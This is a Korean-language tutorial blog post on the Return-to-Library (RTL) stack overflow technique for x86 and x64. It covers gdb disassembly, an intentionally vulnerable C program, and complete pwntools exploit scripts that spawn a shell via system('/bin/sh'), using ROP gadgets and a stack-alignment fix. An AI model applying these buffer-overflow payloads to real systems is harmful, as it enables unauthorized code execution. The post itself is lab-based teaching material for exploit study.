Hacking/Pwnable

RTL (Return To Library)

GunP4ng 2024. 7. 17. 22:49

RTL 


1. RTL (Return to Library)

1. RTL 이란?

Nx-bit 보호 기법이 적용되면 code 영역을 제외한 영역에 실행 권한이 부여되지 않는다.

즉, 스택에 실행 권한이 부여되지 않는다.

그렇기 때문에 스택에 shellcode 를 넣고 RET 에 덮어씌워도 실행 권한이 없어 shellcode 가 실행되지 않는다.

이를 우회하기 위한 기법이 Return to Library 이다.

 

프로세스에 실행 권한이 있는 메모리 영역은 바이너리의 코드 영역과 라이브러리의 코드 영역이다.

우리가 사용하는 함수들은 (ex. printf) 모두 라이브러리에 들어있다.

RTL 은 RET 에 라이브러리 함수를 덮어씌워 실행되도록 하는 공격 기법이다.

 

2. 함수 호출 과정 (x86)

1. callme 호출 전

// Name : callfunc.c
// Compile : gcc -o callfunc callfunc.c -fno-stack-protector -no-pie -fno-pic -m32 -mpreferred-stack-boundary=2

#include <stdio.h>

void callme(int a){
    int b = a;
    printf("%d\n",b);
}

int main(){
    callme(1);

    return 0;
}

gcc 로 컴파일 한 후 gdb 로 확인해보자

 

Dump of assembler code for function main:
   0x08049195 <+0>:     push   ebp
   0x08049196 <+1>:     mov    ebp,esp
   0x08049198 <+3>:     push   0x1
   0x0804919a <+5>:     call   0x8049176 <callme>
   0x0804919f <+10>:    add    esp,0x4
   0x080491a2 <+13>:    mov    eax,0x0
   0x080491a7 <+18>:    leave
   0x080491a8 <+19>:    ret
End of assembler dump.

main + 3 에서 스택에 1 을 push 하고, 

main + 5 에서 callme 함수를 호출한다.

 

32bit 환경에서는 함수의 인자를 스택에 push 한 뒤 함수를 호출한다.

callme 함수에 점프하기 직전의 스택은 아래와 같다

callme 점프 직전

 

2. callme 호출 후

call 명령어로 callme 가 호출된 후를 알아보자

callme 어셈블리를 확인해보자

Dump of assembler code for function callme:
   0x08049176 <+0>:     push   ebp
   0x08049177 <+1>:     mov    ebp,esp
   0x08049179 <+3>:     sub    esp,0x4
   0x0804917c <+6>:     mov    eax,DWORD PTR [ebp+0x8]
   0x0804917f <+9>:     mov    DWORD PTR [ebp-0x4],eax
   0x08049182 <+12>:    push   DWORD PTR [ebp-0x4]
   0x08049185 <+15>:    push   0x804a008
   0x0804918a <+20>:    call   0x8049050 <printf@plt>
   0x0804918f <+25>:    add    esp,0x8
   0x08049192 <+28>:    nop
   0x08049193 <+29>:    leave
   0x08049194 <+30>:    ret
End of assembler dump.

함수 프롤로그를 한 뒤,

callme + 3 까지 공간 할당을 한 뒤 스택은 아래와 같다.

callme + 3

 

callme + 6 에서 eaxebp+0x8 의 값을 복사한다.

위의 스택으로 확인하면 1이 eax 에 들어가게 된다.

 

함수의 인자 값을 보내고 함수를 호출할 때 호출된 함수는 8byte 떨어진 곳에서 값을 가져온다.

 

 

3. 공격 과정 (x86)

1. 코드 확인

// Name : rtl.c
// Compile : gcc -m32 -mpreferred-stack-boundary=2 -fno-stack-protector -fno-pic -no-pie -o rtl rtl.c 

#include <stdio.h>

int main(){
    char buf[100];
    read(0, buf, 200);
    printf("%s\n", buf);

    return 0;
}

BOF 가 발생하는 C 코드이다.

 

main 함수를 확인해보자

Dump of assembler code for function main:
   0x08049186 <+0>:     push   ebp
   0x08049187 <+1>:     mov    ebp,esp
   0x08049189 <+3>:     sub    esp,0x64
   0x0804918c <+6>:     push   0xc8
   0x08049191 <+11>:    lea    eax,[ebp-0x64]
   0x08049194 <+14>:    push   eax
   0x08049195 <+15>:    push   0x0
   0x08049197 <+17>:    call   0x8049050 <read@plt>
   0x0804919c <+22>:    add    esp,0xc
   0x0804919f <+25>:    lea    eax,[ebp-0x64]
   0x080491a2 <+28>:    push   eax
   0x080491a3 <+29>:    call   0x8049060 <puts@plt>
   0x080491a8 <+34>:    add    esp,0x4
   0x080491ab <+37>:    mov    eax,0x0
   0x080491b0 <+42>:    leave
   0x080491b1 <+43>:    ret
End of assembler dump.

main + 3 에서 0x64 (100) 만큼 공간을 할당한다

main + 6 에서 0xc8 (200)  을 스택에 push 한다

main + 15 에서 스택에 0을 push 한다

 

32bit 는 함수의 인자를 오른쪽부터 스택에 push 한 뒤 함수를 호출한다.

ebp-0x64buf 인 것을 알 수 있다.

 

2. 메모리 확인

RET 주소를 조작하기 위해서는 bufSFP 를 덮어씌워야 한다.

  • buf (0x64) : 100 bytes
  • SFP (0x4) : 4bytes

스택 상태

104bytes 를 입력하면 RET 주소를 조작할 수 있게 된다.

 

system 함수의 주소를 알아내기 위해 main 함수에 break 를 걸고 실행한다.

system

system 함수의 주소는 0xf7dca170 인 것을 알 수 있다.

 

system 함수의 인자로 넣어줄 "/bin/sh" 문자열을 찾아야 한다.

system 함수는 내부적으로 execve 함수를 사용하고, execve 함수의 동작은 "/bin/sh"을 통해서 한다.

따라서 system 함수 내부, 정확히는 execve 함수 내부에 "/bin/sh" 라는 문자열이 존재한다.

find 명령어로 "/bin/sh" 문자열을 찾아보자

/bin/sh

"/bin/sh" 문자열의 주소는 0xf7f3f0d5 인 것을 알 수 있다.

 

3. 페이로드 구성

buf + SFP 의 크기 104bytes 만큼 dummy 값을 넣는다.

그 다음 RETsystem 함수의 주소 0xf7dca170 를 넣는다

 

32bit 환경에서는 호출된 함수가 인자를 ebp+0x8 에서 가져온다.

따라서 system 함수의 주소와 /bin/sh 사이에 4bytes 의 dummy 값이 존재한다.

그 다음 "/bin/sh" 의 주소 0xf7f3f0d5 를 넣는다.

 

스택을 그려보면 아래와 같다.

스택 상태

 

4. payload

python 의 pwntools로 코드를 작성하면 아래와 같다.

from pwn import *

p = process("./rtl")

system = 0xf7dca170
binsh = 0xf7f3f0d5

payload = b'A' * 0x68
payload += p32(system)
payload += b'A' * 0x4
payload += p32(binsh)

p.send(payload)

p.interactive()

 

 

Shell 획득

위 코드를 실행하면 셸을 획득할 수 있다.

 

 

4. 함수 호출 과정 (x64)

1. callme 호출 전

// Name : callfunc.c
// Compile : gcc -o x64_callfunc callfunc.c -fno-stack-protector -no-pie -fno-pic -mpreferred-stack-boundary=4

#include <stdio.h>

void callme(int a){
    int b = a;
    printf("%d\n",b);
}

int main(){
    callme(1);

    return 0;
}

gcc 로 컴파일 한 후 gdb 로 확인해보자

 

main 함수를 확인해보자

Dump of assembler code for function main:
   0x0000000000401162 <+0>:     endbr64
   0x0000000000401166 <+4>:     push   rbp
   0x0000000000401167 <+5>:     mov    rbp,rsp
   0x000000000040116a <+8>:     mov    edi,0x1
   0x000000000040116f <+13>:    call   0x401136 <callme>
   0x0000000000401174 <+18>:    mov    eax,0x0
   0x0000000000401179 <+23>:    pop    rbp
   0x000000000040117a <+24>:    ret
End of assembler dump.

main+8 에서 edi0x1 을 복사하고

main+13 에서 callme 를 호출한다.

 

64bit 환경에서는 함수의 인자를 레지스터에 복사한 후 함수를 호출한다.

callme 함수에 점프하기 직전의 스택은 다음과 같다

callme 점프 직전

 

2. callme 호출 후

callme 가 호출된 후를 알아보자

callme 어셈블리를 확인해보자

Dump of assembler code for function callme:
   0x0000000000401136 <+0>:     endbr64
   0x000000000040113a <+4>:     push   rbp
   0x000000000040113b <+5>:     mov    rbp,rsp
   0x000000000040113e <+8>:     sub    rsp,0x20
   0x0000000000401142 <+12>:    mov    DWORD PTR [rbp-0x14],edi
   0x0000000000401145 <+15>:    mov    eax,DWORD PTR [rbp-0x14]
   0x0000000000401148 <+18>:    mov    DWORD PTR [rbp-0x4],eax
   0x000000000040114b <+21>:    mov    eax,DWORD PTR [rbp-0x4]
   0x000000000040114e <+24>:    mov    esi,eax
   0x0000000000401150 <+26>:    mov    edi,0x402004
   0x0000000000401155 <+31>:    mov    eax,0x0
   0x000000000040115a <+36>:    call   0x401040 <printf@plt>
   0x000000000040115f <+41>:    nop
   0x0000000000401160 <+42>:    leave
   0x0000000000401161 <+43>:    ret
End of assembler dump.

함수 프롤로그를 한 뒤

main+8 까지 공간 할당을 한 후의 스택 상태는 아래와 같다.

callme 호출 후

64bit 환경에서는 함수의 인자를 레지스터에 복사한 후 함수를 호출한다.

 

 

5. 공격과정 (x64)

1. 코드 확인

// Name : rtl.c
// Compile : gcc -mpreferred-stack-boundary=4 -fno-stack-protector -fno-pic -no-pie -o x64_rtl rtl.c

#include <stdio.h>

int main(){
    char buf[100];
    read(0, buf, 200);
    printf("%s\n", buf);

    return 0;
}

BOF 가 발생하는 C 코드이다.

 

gdb로 main 함수를 확인해보자

Dump of assembler code for function main:
   0x0000000000401156 <+0>:     endbr64
   0x000000000040115a <+4>:     push   rbp
   0x000000000040115b <+5>:     mov    rbp,rsp
   0x000000000040115e <+8>:     sub    rsp,0x70
   0x0000000000401162 <+12>:    lea    rax,[rbp-0x70]
   0x0000000000401166 <+16>:    mov    edx,0xc8
   0x000000000040116b <+21>:    mov    rsi,rax
   0x000000000040116e <+24>:    mov    edi,0x0
   0x0000000000401173 <+29>:    mov    eax,0x0
   0x0000000000401178 <+34>:    call   0x401060 <read@plt>
   0x000000000040117d <+39>:    lea    rax,[rbp-0x70]
   0x0000000000401181 <+43>:    mov    rdi,rax
   0x0000000000401184 <+46>:    call   0x401050 <puts@plt>
   0x0000000000401189 <+51>:    mov    eax,0x0
   0x000000000040118e <+56>:    leave
   0x000000000040118f <+57>:    ret
End of assembler dump.

main+16 에서 edx0xc8 (200) 을 복사한다.

main+21 에서 rsirax (rbp-0x70) 을 복사한다.

main+24 에서 edi0을 복사한다.

 

bufrbp-0x70 인 것을 알 수 있다.

64bit 에서는 위와 같이 레지스터에 값을 저장하고 함수를 호출한다.

rdi, rsi, rdx, rcx, r8, r9 순으로 인자가 들어간다.

  • edi = rdi = 0
  • rsi = = buf (rbp-0x70)
  • edx = rdx = 0xc8

 

2. 메모리 확인

RET 주소를 조작하기 위해서는 bufSFP 를 덮어씌워야 한다.

  • buf (0x70) : 112bytes
  • SFP (0x8) : 8bytes

스택 상태

120bytes 를 입력하면 RET 를 조작할 수 있다.

 

system 함수의 주소를 알아내기 위해 mainbreak 를 걸고 실행한다.

system 주소

system 함수의 주소는 0x7ffff7ddbd70 이다.

 

find 명령어로 "/bin/sh" 문자열을 알아내자

"/bin/sh"

"/bin/sh" 문자열의 주소는 0x7ffff7f63678 이다.

 

64bit 는 레지스터를 통해 인자를 전달하기 때문에 pop rdi; ret 가젯이 필요하다.

바이너리에는 가젯이 없어서 라이브러리에서 찾았다.

pop rdi ; ret

여기서 나오는 주소 0x2a3e5라이브러리 시작 주소에서의 offset 이다.

따라서 라이브러리 시작 주소를 구해서 0x2a3e5 를 더해줘야 한다.

 

라이브러리 시작 주소는 puts 함수의 실제 주소에서 puts 함수의 offset 을 빼면 구할 수 있다.

puts

puts 함수의 실제 주소는 0x7ffff7e0be50 이다.

# libc base 구하기
puts = 0x7ffff7e0be50
puts_offset = libc.symbols['puts']
libc_base = puts - puts_offset

print('libc base : {:#x}'.format(libc_base))

python 의 pwntools 를 이용해 puts 함수의 실제 주소와 puts 함수의 오프셋을 빼서 라이브러리 시작 주소를 구한다.

 

라이브러리 시작 주소

라이브러리 시작 주소는 0x7ffff7d8b000 이다. 

라이브러리 시작 주소는 하위 12비트, 마지막 3자리가 0으로 이기 때문에 제대로 구한 것을 확인할 수 있다.

 

pop rdi ; ret 가젯의 주소는 라이브러리 시작 주소 + 오프셋으로 0x7ffff7db53e5 이다.

 

3. 페이로드 구성

buf + SFP 크기 0x78 만큼 120bytes dummy 값을 넣는다

그 다음 pop rdi ret 가젯의 주소를 (0x2fb0)넣고, "/bin/sh" 의 주소를 (0x7ffff7f63678) 넣어준다.

system 함수 0x7ffff7ddbd70 를 호출한다.

 

스택을 그려보면 아래와 같다.

스택 상태

 

64bit 환경에서는 함수를 호출하기 전에 레지스터에 인자를 미리 넣어줘야 한다.

 

4. payload

python 의 pwntools 로 코드를 작성하면 아래와 같다.

from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

p = process('./x64_rtl')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')

# libc base 구하기
puts = 0x7ffff7e0be50
puts_offset = libc.symbols['puts']
libc_base = puts - puts_offset
print('libc base : {:#x}'.format(libc_base))

system = 0x7ffff7ddbd70
binsh = 0x7ffff7f63678
pop_rdi = libc_base + 0x2a3e5
print('pop rdi : {:#x}'.format(pop_rdi))

payload = b'A' * 120
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.send(payload)

p.interactive()

 

SIGSEGV

SIGSEGV 오류가 뜬 것을 확인할 수 있다.

 

5. 오류 해결

어디서 오류가 나는지 동적 디버깅으로 확인해보자

pop rdi

pop rdi 가젯으로 잘 이동하고 system 함수도 잘 호출된다.

 

system 함수를 따라가다 보면

Segmentation fault

스택이 16bytes 로 정렬이 되어있지 않아서 Segmentation fault 오류가 발생하는 것 같다.

 

movaps 명령은 rsp16bytes로 정렬이 되어있는지 확인한다.

정렬이 되어있지 않으면 Segmentation fault 오류가 발생한다.

call 명령이 아닌 ret 명령으로 함수를 호출하여 스택 정렬이 깨져서 발생하는 문제이다.

 

pop_rdi 가젯을 스택에 넣기 전에 ret 가젯으로 스택 정렬을 맞춰주면 잘 작동할 것 같다.

odjdump 명령어로 ret 가젯을 구한다.

ret 가젯

ret 가젯의 주소는 0x40101a 이다.

 

ret 가젯의 주소를 넣은 python 코드는 아래와 같다.

from pwn import *
context.log_level = 'debug'
context(arch='amd64', os='linux')

p = process('./x64_rtl')
libc = ELF('/usr/lib/x86_64-linux-gnu/libc.so.6')

# libc base 구하기
puts = 0x7ffff7e0be50
puts_offset = libc.symbols['puts']
libc_base = puts - puts_offset
print('libc base : {:#x}'.format(libc_base))

system = 0x7ffff7ddbd70
binsh = 0x7ffff7f63678
pop_rdi = libc_base + 0x2a3e5
ret = 0x40101a
print('pop rdi : {:#x}'.format(pop_rdi))

payload = b'A' * 120
payload += p64(ret)
payload += p64(pop_rdi)
payload += p64(binsh)
payload += p64(system)

p.send(payload)

p.interactive()

 

Shell 획득

정상적으로 셸을 획득한 것을 볼 수 있다.

 

 

Reference


http://lactea.kr/entry/bof-Return-to-Libc-RTL-%EA%B3%B5%EA%B2%A9-%EA%B8%B0%EB%B2%95 

https://plummmm.tistory.com/252

https://jun-lab.tistory.com/172

https://hackyboiz.github.io/2020/12/06/fabu1ous/x64-stack-alignment/